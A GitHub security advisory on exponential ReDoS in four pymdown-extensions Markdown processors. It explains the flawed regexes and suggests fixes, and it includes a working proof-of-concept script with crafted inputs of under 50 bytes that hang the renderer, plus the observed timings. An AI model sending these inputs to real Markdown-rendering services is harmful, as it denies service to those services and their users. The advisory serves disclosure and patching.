GHSA-GM37-52C6-37MW
Vulnerability from github – Published: 2026-08-07 18:26 – Updated: 2026-08-07 18:26Summary
Four inline processors in pymdown-extensions contain regular expressions with
exponential backtracking. A single untrusted Markdown line under
50 bytes drives markdown.markdown() into unbounded CPU on the rendering thread
(seconds at ~45 bytes, growing exponentially with each added character). All four
fire in the extension's default configuration
and are reachable through the documented public API. The caret/tilde/
betterem blow-up was introduced by the emphasis-pattern rewrite in PR #2547
(first released in 10.13, Dec 2024) — earlier releases used a linear
(.+?) / ([^\s]+?) content group — and is present through 11.0 (latest);
magiclink's host pattern is long-standing and affects effectively all releases.
Likely CWE-1333 (Inefficient Regular Expression Complexity).
This is a distinct issue from CVE-2025-68142 (ReDoS in pymdownx.blocks.caption,
RE_FIG_NUM, fixed in 10.16.1): different extensions, different regexes, and a
different root cause (delimiter-run partition ambiguity rather than a ./\.
typo).
Details
Four regexes share, or closely mirror, a vulnerable shape — an inner group that
can partition a run of the delimiter character into {2,}-sized pieces in
exponentially many ways, wrapped in a lazy +? that must fail before the engine
can give up:
| Extension | Regex | Location (11.0) |
|---|---|---|
pymdownx.caret (superscript ^…^) |
SUP2 |
pymdownx/caret.py:56 |
pymdownx.tilde (subscript ~…~) |
SUB2 |
pymdownx/tilde.py:55 |
pymdownx.betterem (underscore _…_) |
SMART_UNDER_EM2 (default) |
pymdownx/betterem.py:93 |
pymdownx.magiclink (bare-URL autolink) |
RE_LINK |
pymdownx/magiclink.py:56 (host at :59) |
pymdownx/caret.py:56 (pymdown-extensions 11.0):
SUP2 = r'(?<!\^)(\^)(?![\^\s])((?:[^\^\s]|\^{2,})+?)(?<![\^\s])(\^)(?!\^)'
The content group (?:[^\^\s]|\^{2,})+? matches a run of carets only via the
\^{2,} branch. A run of k carets can be split into ≥2-length pieces in
exponentially many combinations; when no caret can serve as a valid closing
delimiter (the trailing (?<![\^\s])(\^) cannot be satisfied), the engine
explores every partition before failing. SUB2 (tilde) and SMART_UNDER_EM2
(betterem) are the same construct for ~ and _. In betterem the default
smart_enable='underscore' routes underscores to SmartUnderscoreProcessor →
SMART_UNDER_EM2 (betterem.py:93), which is the default-reachable,
API-exploitable pattern; the non-smart UNDER_EM2 (:69, used only when
smart_enable is asterisk/disable) shares the shape but did not reproduce
through the public markdown.markdown() pipeline on the tested payload, so a fix
and regression test should target SMART_UNDER_EM2.
pymdownx/magiclink.py:59 has the analogous ambiguity in the host portion, where
overlapping character classes let a run of dots be grouped exponentially:
(?:ht|f)tps?://[^_\W][-\w]*(?:\.[-\w.]+)* # host: '\.' and '[-\w.]' inside (?:...)* both match '.'
SUP2/SUB2/SMART_UNDER_EM2 are applied at each delimiter occurrence via the
default PatternSequenceProcessor subclasses (pymdownx/util.py); RE_LINK is
applied by MagiclinkPattern (registered unconditionally at priority 85). In all
four cases, rendering markdown.markdown(src, extensions=[ext]) on untrusted
src in default configuration is sufficient to reach the regex.
PoC
Single self-contained script; runs against the pinned release in an ephemeral env. Non-destructive — the input is ordinary Markdown text; the impact is CPU/time (a per-render alarm caps each attempt so the script terminates).
import signal
import time
from importlib.metadata import version
import markdown
print(f"# pymdown-extensions {version('pymdown-extensions')} / markdown {version('markdown')}")
CAP = 5.0 # a single render exceeding this is treated as a hang
class Timeout(Exception):
pass
def render(ext, text):
signal.signal(signal.SIGALRM, lambda *_: (_ for _ in ()).throw(Timeout()))
signal.setitimer(signal.ITIMER_REAL, CAP)
t = time.perf_counter()
try:
markdown.markdown(text, extensions=[ext])
return time.perf_counter() - t
except Timeout:
return None
finally:
signal.setitimer(signal.ITIMER_REAL, 0)
# ext -> (malicious builder, benign builder [valid & closed], ramp, hang count)
CASES = {
"pymdownx.caret": (lambda n: "^a" + "^" * n + "b", lambda n: "^" + "a" * n + "^", [24, 30, 36], 44),
"pymdownx.tilde": (lambda n: "~a" + "~" * n + "b", lambda n: "~" + "a" * n + "~", [24, 30, 36], 44),
"pymdownx.betterem": (lambda n: "_a" + "_" * n + "b", lambda n: "_" + "a" * n + "_", [24, 30, 36], 44),
"pymdownx.magiclink": (lambda n: "http://a" + "." * n + " ", lambda n: "http://" + "a" * n + ".com ", [28, 32, 36], 40),
}
repro = []
for ext, (evil, benign, ramp, hang) in CASES.items():
base_txt = benign(hang) # valid, closed run: same regex machinery, but linear
base = render(ext, base_txt)
print(f"\n[{ext}] benign baseline (len {len(base_txt)}, valid+closed): {base * 1e3:.3f} ms")
prev = None
for n in ramp:
txt = evil(n)
dt = render(ext, txt)
ratio = f" (x{dt / prev:.1f})" if (prev and dt) else ""
shown = f"{dt:8.3f} s" if dt is not None else f"> {CAP:.0f} s (HANG)"
print(f" malicious len {len(txt):3d}: {shown}{ratio}")
prev = dt
txt = evil(hang)
dt = render(ext, txt)
hung = dt is None
print(f" malicious len {len(txt):3d}: "
f"{'> %.0f s (HANG)' % CAP if hung else '%.3f s' % dt}")
ok = base < 0.05 and (hung or dt > 1.0)
repro.append(ok)
print(f" => {'REPRODUCED' if ok else 'not reproduced'}: a {len(txt)}-byte "
f"malicious line stalls the renderer; a valid {len(base_txt)}-byte line is instant.")
assert all(repro), "not reproduced"
print("\nVERDICT: exponential ReDoS reproduced in all four extensions via the "
"public markdown.markdown() API, default config (each < 50-byte input).")
Run:
uv run --with pymdown-extensions==11.0 --with markdown==3.10.2 python poc.py
The bug is in pymdown-extensions' own regexes run by the stdlib re engine, so it
is independent of the Markdown library version (markdown pinned only for
byte-exact output). Observed output:
# pymdown-extensions 11.0 / markdown 3.10.2
[pymdownx.caret] benign baseline (len 46, valid+closed): 11.768 ms
malicious len 27: 0.003 s
malicious len 33: 0.054 s (x16.6)
malicious len 39: 0.946 s (x17.6)
malicious len 47: > 5 s (HANG)
=> REPRODUCED: a 47-byte malicious line stalls the renderer; a valid 46-byte line is instant.
[pymdownx.tilde] benign baseline (len 46, valid+closed): 5.364 ms
malicious len 27: 0.003 s
malicious len 33: 0.053 s (x17.1)
malicious len 39: 0.962 s (x18.2)
malicious len 47: > 5 s (HANG)
=> REPRODUCED: a 47-byte malicious line stalls the renderer; a valid 46-byte line is instant.
[pymdownx.betterem] benign baseline (len 46, valid+closed): 3.167 ms
malicious len 27: 0.003 s
malicious len 33: 0.052 s (x17.1)
malicious len 39: 0.948 s (x18.1)
malicious len 47: > 5 s (HANG)
=> REPRODUCED: a 47-byte malicious line stalls the renderer; a valid 46-byte line is instant.
[pymdownx.magiclink] benign baseline (len 52, valid+closed): 4.935 ms
malicious len 37: 0.033 s
malicious len 41: 0.210 s (x6.4)
malicious len 45: 1.405 s (x6.7)
malicious len 49: > 5 s (HANG)
=> REPRODUCED: a 49-byte malicious line stalls the renderer; a valid 52-byte line is instant.
VERDICT: exponential ReDoS reproduced in all four extensions via the public markdown.markdown() API, default config (each < 50-byte input).
The per-step ratio stays roughly constant as the run grows (a fixed multiplicative factor per fixed-size increment) — the signature of exponential, not polynomial, backtracking. A valid, closed delimiter run of the same length exercises the same regex yet renders in well under a millisecond, isolating the cost to the unclosed crafted run. Extending it a few more characters pushes the render time into minutes and beyond.
Impact
Denial of service: a sub-50-byte line pins the rendering thread at 100% CPU, with no memory pressure to trip an OOM killer. Most Material/MkDocs usage renders trusted author content at build time, but the untrusted-input exposure is concrete in two settings:
- General Python web apps that render user-supplied Markdown (comments, wikis,
issue/ticket bodies, chat, live preview) — notably any app using
pymdownx.extra, which bundlesbetteremwith the vulnerable defaultsmart_enable='underscore', or that reuses a Material-style extension block in a runtime renderer. -
Hosted docs/CI systems that build untrusted, user-contributed Markdown, where a single crafted line hangs the shared build worker.
-
Attacker: unauthenticated, remote (anyone who can submit Markdown).
- Configuration: default for each extension.
- Proposed CWE-1333. Proposed CVSS 3.1 (as proposed — the maintainer makes
the final call):
AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H(7.5, High).
Suggestion
The vulnerable content groups need to be rewritten so a delimiter run has exactly
one parse, removing the {2,} partition ambiguity that lets the engine
re-segment a run on backtracking. For the emphasis patterns, restructuring the
content so a delimiter run is consumed in a single, non-re-partitionable way
(rather than by a {2,} branch inside a +? group) removes the blow-up; for
RE_LINK, disambiguate the host so . is matched in exactly one place (a single
labelled-host pattern such as (?:[-\w]+)(?:\.[-\w]+)*) rather than by
overlapping classes. Possessive quantifiers / atomic groups are the most direct
tool but require Python 3.11+; since the project supports Python 3.10, a
structural rewrite is the portable option.
A regression fixture per extension (a short delimiter run with no valid closer, asserted to render under a small time budget) would guard against reintroduction.
References
- Affected source (
pymdown-extensions 11.0):pymdownx/caret.py:56(SUP2),pymdownx/tilde.py:55(SUB2),pymdownx/betterem.py:93(SMART_UNDER_EM2, default;:69UNDER_EM2shares the shape),pymdownx/magiclink.py:56(RE_LINK, host subexpression at:59). - Novelty: same class as CVE-2025-68142 (
pymdownx.blocks.captionRE_FIG_NUM, fixed 10.16.1) but distinct extensions, regexes, and root cause. Thecaret/tilde/betteremcontent groups gained the vulnerable{2,}alternation in PR #2547 (v10.13); earlier releases used a linear(.+?)/([^\s]+?)group.magiclink's host pattern is long-standing. None of the four has been touched by a prior security fix; all are present in the latest release (11.0).
{
"affected": [
{
"database_specific": {
"last_known_affected_version_range": "\u003c= 11.0.0"
},
"package": {
"ecosystem": "PyPI",
"name": "pymdown-extensions"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "11.0.1"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2026-67422"
],
"database_specific": {
"cwe_ids": [
"CWE-1333"
],
"github_reviewed": true,
"github_reviewed_at": "2026-08-07T18:26:07Z",
"nvd_published_at": "2026-08-06T22:18:21Z",
"severity": "HIGH"
},
"details": "### Summary\n\nFour inline processors in pymdown-extensions contain regular expressions with\nexponential backtracking. A single untrusted Markdown line under\n50 bytes drives `markdown.markdown()` into unbounded CPU on the rendering thread\n(seconds at ~45 bytes, growing exponentially with each added character). All four\nfire in the extension\u0027s **default configuration**\nand are reachable through the documented public API. The `caret`/`tilde`/\n`betterem` blow-up was introduced by the emphasis-pattern rewrite in PR #2547\n(first released in **10.13**, Dec 2024) \u2014 earlier releases used a linear\n`(.+?)` / `([^\\s]+?)` content group \u2014 and is present through **11.0** (latest);\n`magiclink`\u0027s host pattern is long-standing and affects effectively all releases.\nLikely **CWE-1333 (Inefficient Regular Expression Complexity)**.\n\nThis is a distinct issue from CVE-2025-68142 (ReDoS in `pymdownx.blocks.caption`,\n`RE_FIG_NUM`, fixed in 10.16.1): different extensions, different regexes, and a\ndifferent root cause (delimiter-run partition ambiguity rather than a `.`/`\\.`\ntypo).\n\n### Details\n\nFour regexes share, or closely mirror, a vulnerable shape \u2014 an inner group that\ncan partition a run of the delimiter character into `{2,}`-sized pieces in\nexponentially many ways, wrapped in a lazy `+?` that must fail before the engine\ncan give up:\n\n| Extension | Regex | Location (`11.0`) |\n|---|---|---|\n| `pymdownx.caret` (superscript `^\u2026^`) | `SUP2` | `pymdownx/caret.py:56` |\n| `pymdownx.tilde` (subscript `~\u2026~`) | `SUB2` | `pymdownx/tilde.py:55` |\n| `pymdownx.betterem` (underscore `_\u2026_`) | `SMART_UNDER_EM2` (default) | `pymdownx/betterem.py:93` |\n| `pymdownx.magiclink` (bare-URL autolink) | `RE_LINK` | `pymdownx/magiclink.py:56` (host at `:59`) |\n\n`pymdownx/caret.py:56` (`pymdown-extensions 11.0`):\n\n```python\nSUP2 = r\u0027(?\u003c!\\^)(\\^)(?![\\^\\s])((?:[^\\^\\s]|\\^{2,})+?)(?\u003c![\\^\\s])(\\^)(?!\\^)\u0027\n```\n\nThe content group `(?:[^\\^\\s]|\\^{2,})+?` matches a run of carets only via the\n`\\^{2,}` branch. A run of *k* carets can be split into \u22652-length pieces in\nexponentially many combinations; when no caret can serve as a valid closing\ndelimiter (the trailing `(?\u003c![\\^\\s])(\\^)` cannot be satisfied), the engine\nexplores every partition before failing. `SUB2` (tilde) and `SMART_UNDER_EM2`\n(betterem) are the same construct for `~` and `_`. In `betterem` the default\n`smart_enable=\u0027underscore\u0027` routes underscores to `SmartUnderscoreProcessor` \u2192\n`SMART_UNDER_EM2` (`betterem.py:93`), which is the default-reachable,\nAPI-exploitable pattern; the non-smart `UNDER_EM2` (`:69`, used only when\n`smart_enable` is `asterisk`/`disable`) shares the shape but did not reproduce\nthrough the public `markdown.markdown()` pipeline on the tested payload, so a fix\nand regression test should target `SMART_UNDER_EM2`.\n\n`pymdownx/magiclink.py:59` has the analogous ambiguity in the host portion, where\noverlapping character classes let a run of dots be grouped exponentially:\n\n```python\n(?:ht|f)tps?://[^_\\W][-\\w]*(?:\\.[-\\w.]+)* # host: \u0027\\.\u0027 and \u0027[-\\w.]\u0027 inside (?:...)* both match \u0027.\u0027\n```\n\n`SUP2`/`SUB2`/`SMART_UNDER_EM2` are applied at each delimiter occurrence via the\ndefault `PatternSequenceProcessor` subclasses (`pymdownx/util.py`); `RE_LINK` is\napplied by `MagiclinkPattern` (registered unconditionally at priority 85). In all\nfour cases, rendering `markdown.markdown(src, extensions=[ext])` on untrusted\n`src` in default configuration is sufficient to reach the regex.\n\n### PoC\n\nSingle self-contained script; runs against the pinned release in an ephemeral\nenv. Non-destructive \u2014 the input is ordinary Markdown text; the impact is CPU/time\n(a per-render alarm caps each attempt so the script terminates).\n\n```python\nimport signal\nimport time\nfrom importlib.metadata import version\n\nimport markdown\n\nprint(f\"# pymdown-extensions {version(\u0027pymdown-extensions\u0027)} / markdown {version(\u0027markdown\u0027)}\")\n\nCAP = 5.0 # a single render exceeding this is treated as a hang\n\n\nclass Timeout(Exception):\n pass\n\n\ndef render(ext, text):\n signal.signal(signal.SIGALRM, lambda *_: (_ for _ in ()).throw(Timeout()))\n signal.setitimer(signal.ITIMER_REAL, CAP)\n t = time.perf_counter()\n try:\n markdown.markdown(text, extensions=[ext])\n return time.perf_counter() - t\n except Timeout:\n return None\n finally:\n signal.setitimer(signal.ITIMER_REAL, 0)\n\n\n# ext -\u003e (malicious builder, benign builder [valid \u0026 closed], ramp, hang count)\nCASES = {\n \"pymdownx.caret\": (lambda n: \"^a\" + \"^\" * n + \"b\", lambda n: \"^\" + \"a\" * n + \"^\", [24, 30, 36], 44),\n \"pymdownx.tilde\": (lambda n: \"~a\" + \"~\" * n + \"b\", lambda n: \"~\" + \"a\" * n + \"~\", [24, 30, 36], 44),\n \"pymdownx.betterem\": (lambda n: \"_a\" + \"_\" * n + \"b\", lambda n: \"_\" + \"a\" * n + \"_\", [24, 30, 36], 44),\n \"pymdownx.magiclink\": (lambda n: \"http://a\" + \".\" * n + \" \", lambda n: \"http://\" + \"a\" * n + \".com \", [28, 32, 36], 40),\n}\n\nrepro = []\nfor ext, (evil, benign, ramp, hang) in CASES.items():\n base_txt = benign(hang) # valid, closed run: same regex machinery, but linear\n base = render(ext, base_txt)\n print(f\"\\n[{ext}] benign baseline (len {len(base_txt)}, valid+closed): {base * 1e3:.3f} ms\")\n prev = None\n for n in ramp:\n txt = evil(n)\n dt = render(ext, txt)\n ratio = f\" (x{dt / prev:.1f})\" if (prev and dt) else \"\"\n shown = f\"{dt:8.3f} s\" if dt is not None else f\"\u003e {CAP:.0f} s (HANG)\"\n print(f\" malicious len {len(txt):3d}: {shown}{ratio}\")\n prev = dt\n txt = evil(hang)\n dt = render(ext, txt)\n hung = dt is None\n print(f\" malicious len {len(txt):3d}: \"\n f\"{\u0027\u003e %.0f s (HANG)\u0027 % CAP if hung else \u0027%.3f s\u0027 % dt}\")\n ok = base \u003c 0.05 and (hung or dt \u003e 1.0)\n repro.append(ok)\n print(f\" =\u003e {\u0027REPRODUCED\u0027 if ok else \u0027not reproduced\u0027}: a {len(txt)}-byte \"\n f\"malicious line stalls the renderer; a valid {len(base_txt)}-byte line is instant.\")\n\nassert all(repro), \"not reproduced\"\nprint(\"\\nVERDICT: exponential ReDoS reproduced in all four extensions via the \"\n \"public markdown.markdown() API, default config (each \u003c 50-byte input).\")\n```\n\nRun:\n\n```bash\nuv run --with pymdown-extensions==11.0 --with markdown==3.10.2 python poc.py\n```\n\nThe bug is in pymdown-extensions\u0027 own regexes run by the stdlib `re` engine, so it\nis independent of the Markdown library version (`markdown` pinned only for\nbyte-exact output). Observed output:\n\n```\n# pymdown-extensions 11.0 / markdown 3.10.2\n\n[pymdownx.caret] benign baseline (len 46, valid+closed): 11.768 ms\n malicious len 27: 0.003 s\n malicious len 33: 0.054 s (x16.6)\n malicious len 39: 0.946 s (x17.6)\n malicious len 47: \u003e 5 s (HANG)\n =\u003e REPRODUCED: a 47-byte malicious line stalls the renderer; a valid 46-byte line is instant.\n\n[pymdownx.tilde] benign baseline (len 46, valid+closed): 5.364 ms\n malicious len 27: 0.003 s\n malicious len 33: 0.053 s (x17.1)\n malicious len 39: 0.962 s (x18.2)\n malicious len 47: \u003e 5 s (HANG)\n =\u003e REPRODUCED: a 47-byte malicious line stalls the renderer; a valid 46-byte line is instant.\n\n[pymdownx.betterem] benign baseline (len 46, valid+closed): 3.167 ms\n malicious len 27: 0.003 s\n malicious len 33: 0.052 s (x17.1)\n malicious len 39: 0.948 s (x18.1)\n malicious len 47: \u003e 5 s (HANG)\n =\u003e REPRODUCED: a 47-byte malicious line stalls the renderer; a valid 46-byte line is instant.\n\n[pymdownx.magiclink] benign baseline (len 52, valid+closed): 4.935 ms\n malicious len 37: 0.033 s\n malicious len 41: 0.210 s (x6.4)\n malicious len 45: 1.405 s (x6.7)\n malicious len 49: \u003e 5 s (HANG)\n =\u003e REPRODUCED: a 49-byte malicious line stalls the renderer; a valid 52-byte line is instant.\n\nVERDICT: exponential ReDoS reproduced in all four extensions via the public markdown.markdown() API, default config (each \u003c 50-byte input).\n```\n\nThe per-step ratio stays roughly constant as the run grows (a fixed multiplicative\nfactor per fixed-size increment) \u2014 the signature of exponential, not polynomial,\nbacktracking. A valid, closed delimiter run of the same length exercises the same\nregex yet renders in well under a millisecond, isolating the cost to the *unclosed*\ncrafted run. Extending it a few more characters pushes the render time into minutes\nand beyond.\n\n### Impact\n\nDenial of service: a sub-50-byte line pins the rendering thread at 100% CPU, with\nno memory pressure to trip an OOM killer. Most Material/MkDocs usage renders\ntrusted author content at build time, but the untrusted-input exposure is concrete\nin two settings:\n\n- General Python web apps that render user-supplied Markdown (comments, wikis,\n issue/ticket bodies, chat, live preview) \u2014 notably any app using\n `pymdownx.extra`, which bundles `betterem` with the vulnerable default\n `smart_enable=\u0027underscore\u0027`, or that reuses a Material-style extension block in\n a runtime renderer.\n- Hosted docs/CI systems that build untrusted, user-contributed Markdown, where a\n single crafted line hangs the shared build worker.\n\n- Attacker: unauthenticated, remote (anyone who can submit Markdown).\n- Configuration: **default** for each extension.\n- Proposed **CWE-1333**. Proposed CVSS 3.1 (as proposed \u2014 the maintainer makes\n the final call): `AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H` (7.5, High).\n\n### Suggestion\n\nThe vulnerable content groups need to be rewritten so a delimiter run has exactly\none parse, removing the `{2,}` partition ambiguity that lets the engine\nre-segment a run on backtracking. For the emphasis patterns, restructuring the\ncontent so a delimiter run is consumed in a single, non-re-partitionable way\n(rather than by a `{2,}` branch inside a `+?` group) removes the blow-up; for\n`RE_LINK`, disambiguate the host so `.` is matched in exactly one place (a single\nlabelled-host pattern such as `(?:[-\\w]+)(?:\\.[-\\w]+)*`) rather than by\noverlapping classes. Possessive quantifiers / atomic groups are the most direct\ntool but require Python 3.11+; since the project supports Python 3.10, a\nstructural rewrite is the portable option.\n\nA regression fixture per extension (a short delimiter run with no valid closer,\nasserted to render under a small time budget) would guard against reintroduction.\n\n### References\n\n- Affected source (`pymdown-extensions 11.0`): `pymdownx/caret.py:56` (`SUP2`),\n `pymdownx/tilde.py:55` (`SUB2`), `pymdownx/betterem.py:93` (`SMART_UNDER_EM2`,\n default; `:69` `UNDER_EM2` shares the shape), `pymdownx/magiclink.py:56`\n (`RE_LINK`, host subexpression at `:59`).\n- Novelty: same class as CVE-2025-68142 (`pymdownx.blocks.caption` `RE_FIG_NUM`,\n fixed 10.16.1) but distinct extensions, regexes, and root cause. The\n `caret`/`tilde`/`betterem` content groups gained the vulnerable `{2,}`\n alternation in PR #2547 (v10.13); earlier releases used a linear\n `(.+?)` / `([^\\s]+?)` group. `magiclink`\u0027s host pattern is long-standing. None\n of the four has been touched by a prior security fix; all are present in the\n latest release (11.0).",
"id": "GHSA-gm37-52c6-37mw",
"modified": "2026-08-07T18:26:07Z",
"published": "2026-08-07T18:26:07Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/facelessuser/pymdown-extensions/security/advisories/GHSA-gm37-52c6-37mw"
},
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-67422"
},
{
"type": "WEB",
"url": "https://github.com/facelessuser/pymdown-extensions/commit/c68498598d7b13011bb4571350b6e3612a4ce44b"
},
{
"type": "PACKAGE",
"url": "https://github.com/facelessuser/pymdown-extensions"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"type": "CVSS_V3"
}
],
"summary": "pymdown-extensions: exponential-backtracking ReDoS in caret, tilde, betterem, and magiclink inline processors"
}
Sightings
| Author | Source | Type | Date | Other |
|---|
Nomenclature
- Seen: The vulnerability was mentioned, discussed, or observed by the user.
- Confirmed: The vulnerability has been validated from an analyst's perspective.
- Published Proof of Concept: A public proof of concept is available for this vulnerability.
- Exploited: The vulnerability was observed as exploited by the user who reported the sighting.
- Patched: The vulnerability was observed as successfully patched by the user who reported the sighting.
- Not exploited: The vulnerability was not observed as exploited by the user who reported the sighting.
- Not confirmed: The user expressed doubt about the validity of the vulnerability.
- Not patched: The vulnerability was not observed as successfully patched by the user who reported the sighting.